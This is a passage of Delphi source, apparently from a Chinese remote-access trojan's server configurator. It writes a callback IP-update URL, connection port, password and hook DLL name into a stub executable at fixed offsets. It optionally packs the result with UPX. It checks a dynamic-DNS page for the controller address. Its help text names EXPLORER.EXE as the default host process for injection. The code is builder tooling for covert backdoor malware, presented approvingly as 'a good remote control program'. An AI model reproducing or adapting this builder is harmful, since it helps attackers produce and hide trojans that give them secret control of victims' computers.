unitconfigserver.pas

不错的远程控制程序

              WriteFile(FileHandle, WriteBuff^, 65, BytesWritten, nil);
              SetFilePointer(FileHandle, OFFSET_FTP + 76, nil, FILE_BEGIN);

              SetFilePointer(FileHandle, OFFSET_FTP + 68, nil, FILE_BEGIN);  //TXT(OFFSET_FTXT)
              WriteBuff := PChar(Lftxt + StringOfChar(#0, 64 - Length(Lftxt)));
              WriteFile(FileHandle, WriteBuff^, 65, BytesWritten, nil);
              SetFilePointer(FileHandle, OFFSET_FTP + 68 + 76, nil, FILE_BEGIN);

              SetFilePointer(FileHandle, OFFSET_FTP + 136, nil, FILE_BEGIN); //更新IP(OFFSET_URL)
              WriteBuff := PChar(Url + StringOfChar(#0, 64 - Length(Url)));
              WriteFile(FileHandle, WriteBuff^, 65, BytesWritten, nil);
              SetFilePointer(FileHandle, OFFSET_FTP + 136 + 76, nil, FILE_BEGIN);

              SetFilePointer(FileHandle, OFFSET_FTP + 204, nil, FILE_BEGIN);  //备注(OFFSET_TORU)
              WriteBuff := PChar(Ltoru + StringOfChar(#0, 64 - Length(Ltoru)));
              WriteFile(FileHandle, WriteBuff^, 65, BytesWritten, nil);
              SetFilePointer(FileHandle, OFFSET_FTP + 204 + 76, nil, FILE_BEGIN);

              SetFilePointer(FileHandle, OFFSET_FTP + 272, nil, FILE_BEGIN);  //上线端口(OFFSET_LFILE)
              WriteBuff := PChar(hookfile + StringOfChar(#0, 64 - Length(hookfile)));
              WriteFile(FileHandle, WriteBuff^, 65, BytesWritten, nil);
              SetFilePointer(FileHandle, OFFSET_FTP + 272 + 76, nil, FILE_BEGIN);

              SetFilePointer(FileHandle, OFFSET_FTP + 340, nil, FILE_BEGIN);  //连接密码(OFFSET_PASS)
              WriteBuff := PChar(Lpass + StringOfChar(#0, 64 - Length(Ltoru)));
              WriteFile(FileHandle, WriteBuff^, 65, BytesWritten, nil);
              SetFilePointer(FileHandle, OFFSET_FTP + 340 + 76, nil, FILE_BEGIN);

              CloseHandle(FileHandle);

              MessageBox(0, '配置文件成功', '提示', mb_iconinformation);

              if CheckBox1.Checked then
              begin
                if ExtractRes('RCDUPX', 'UPXKMM', 'UPX.EXE') then
                begin
                  ShellExecute(0, nil, 'upx.exe', PChar('"' + Filenupx + '"'), nil, SW_MINIMIZE);
                end;
              end
            end;
          end;
        end;
      end;
    end;
  end;
end;



//退出－－－－－－－－－－－－－－－－－－－－－－－－－－－－

procedure TConfigServer.BitBtn2Click(Sender: TObject);
begin
  application.Terminate;
end;

procedure TConfigServer.FormShow(Sender: TObject);
begin
  SetWindowLong(BitBtn1.Handle, GWL_STYLE, WS_CHILD or WS_VISIBLE or BS_FLAT);
end;

procedure TConfigServer.RadioBox1Click(Sender: TObject);
begin
  try
    if RadioBox1.Checked then
    begin
      myinifile.WriteString('IP', 'AutoSave', '1');
      myinifile.writestring('IP', 'exeServer', Edit4.text);
      myinifile.writestring('IP', 'IPServer', Edit1.text);
      myinifile.writestring('IP', 'poServer', Edit2.text);
      myinifile.writestring('IP', 'UserServer', Edit3.Text);
      myinifile.writestring('IP', 'webServer', Edit5.text);
      myinifile.writestring('IP', 'txtServer', Edit6.Text);
      myinifile.writestring('IP', 'XPServer', ComboBox1.Text);
    end else begin
      myinifile.writestring('IP', 'AutoSave', '0');
      myinifile.writestring('IP', 'exeServer', '');
      myinifile.writestring('IP', 'IPServer', 'NO');
      myinifile.writestring('IP', 'poServer', '8080');
      myinifile.writestring('IP', 'UserServer', '');
      myinifile.writestring('IP', 'webServer', '');
      myinifile.writestring('IP', 'txtServer', '');
      myinifile.writestring('IP', 'XPServer', '');
    end;
  except
  end;
end;

procedure TConfigServer.FormCreate(Sender: TObject);
var
  FileName: string;
//  Status: Integer;
begin
  FileName := ExtractFilePath(Paramstr(0)) + '2006_1.ini';
  Myinifile := Tinifile.Create(FileName);

  myinifile.writestring('IP', 'AutoSave', '1'); {自动保存FTP信息}
  Edit4.text := Myinifile.ReadString('IP', 'exeServer', Edit4.text);
 // Edit1.text := Myinifile.ReadString('IP', 'IPServer', Edit2.text);
  Edit2.text := Myinifile.ReadString('IP', 'poServer', Edit2.text);
  Edit3.Text := Myinifile.ReadString('IP', 'UserServer', Edit3.Text);
  Edit5.text := Myinifile.ReadString('IP', 'webServer', Edit5.text);
  Edit6.Text := Myinifile.ReadString('IP', 'txtServer', Edit6.Text);
  ComboBox1.Text := Myinifile.ReadString('IP', 'XPServer', ComboBox1.Text);
end;

procedure TConfigServer.FormClose(Sender: TObject;
  var Action: TCloseAction);
begin
  try
    if RadioBox1.Checked then
    begin
      myinifile.writestring('IP', 'AutoSave', '1');
      myinifile.writestring('IP', 'exeServer', Edit4.text);
      myinifile.writestring('IP', 'IPServer', Edit1.text);
      myinifile.writestring('IP', 'poServer', Edit2.text);
      myinifile.writestring('IP', 'UserServer', Edit3.Text);
      myinifile.writestring('IP', 'webServer', Edit5.text);
      myinifile.writestring('IP', 'txtServer', Edit6.Text);
      myinifile.writestring('IP', 'XPServer', ComboBox1.Text);
    end else begin
      Myinifile.writestring('IP', 'AutoSave', '0'); {自动保存FTP信息}
      Myinifile.writestring('IP', 'exeServer', '');
      Myinifile.writestring('IP', 'IPServer', 'NO');
      Myinifile.writestring('IP', 'poServer', '8080');
      Myinifile.writestring('IP', 'UserServer', '');
      myinifile.writestring('IP', 'webServer', '');
      myinifile.writestring('IP', 'txtServer', '');
      Myinifile.writestring('IP', 'XPServer', '');
    end;
  except
  end;
end;

procedure TConfigServer.Edit3KeyPress(Sender: TObject; var Key: Char);
begin
  if Key = Chr(3592) then Exit;
  if (Key < '0') or (Key > '9') then Key := Chr(0);
end;


procedure TConfigServer.Label10Click(Sender: TObject);
begin
  Shellexecute(handle, nil, pchar('http://www.54sc.com'), nil, nil, sw_shownormal);
end;

procedure TConfigServer.FormDestroy(Sender: TObject);
begin
  DeleteFile('upx.exe');
end;

procedure TConfigServer.Label6Click(Sender: TObject);
begin
  ShellExecute(0, nil, pchar(ExtractFilePath(Paramstr(0)) + 'readme.txt'), nil, nil, SW_Show);
end;

procedure TConfigServer.Label12Click(Sender: TObject);
begin
  Shellexecute(handle, nil, pchar('http://www.3322.org'), nil, nil, sw_shownormal);

end;

procedure TConfigServer.Label11Click(Sender: TObject);
begin
  Shellexecute(handle, nil, pchar('http://www.vicp.net'), nil, nil, sw_shownormal);

end;

procedure TConfigServer.Label7Click(Sender: TObject);
begin
  Shellexecute(handle, nil, pchar('http://www.comexe.cn/ddns/'), nil, nil, sw_shownormal);
end;

procedure TConfigServer.Button1Click(Sender: TObject);
var
ip,pport: string;
sport,surl:string;
begin
//ShowMessage(DeCryptStr('CA9285DF412CF1A628C4D19DCE7C3D47','bwindlovexiaohan'));
if CheckURL(Edit5.text) then
begin
sport := '80';
surl := Edit5.text;
End
else
begin
sport := GetURLPort(Edit5.text);
surl := GetURLURL(Edit5.text);
end;
   ip:= pchar(getip(getHttpDataByGetMethod(surl, StrToInt(sport), '/'+Edit6.text)));
   pport := pchar(GetPort(getHttpDataByGetMethod(surl, StrToInt(sport), '/'+Edit6.text)));
   if ip = '' then
   begin
   MessageBox(Handle,'文件不存在或网络不通!错误!','测试失败',MB_ICONERROR);
   exit;
   end;
   MessageBox(Handle, Pchar('更新内容：'+ ip + ':' + pport), '测试成功', MB_HELP);
end;


procedure TConfigServer.Button2Click(Sender: TObject);
Var
  s:string;
begin
  s:= '域名格式为 ***.3322.org' + #13#10;
  s:= s + '安装名称为*.exe' + #13#10;
  s:= s + 'DLL名称为*.dll' + #13#10;
  s:= s + '上线端口为最好在1000－36000之间' + #13#10;
  s:= s + '宿主进程名默认是EXPLORER.EXE';
  ShowMessage(s);
end;

end.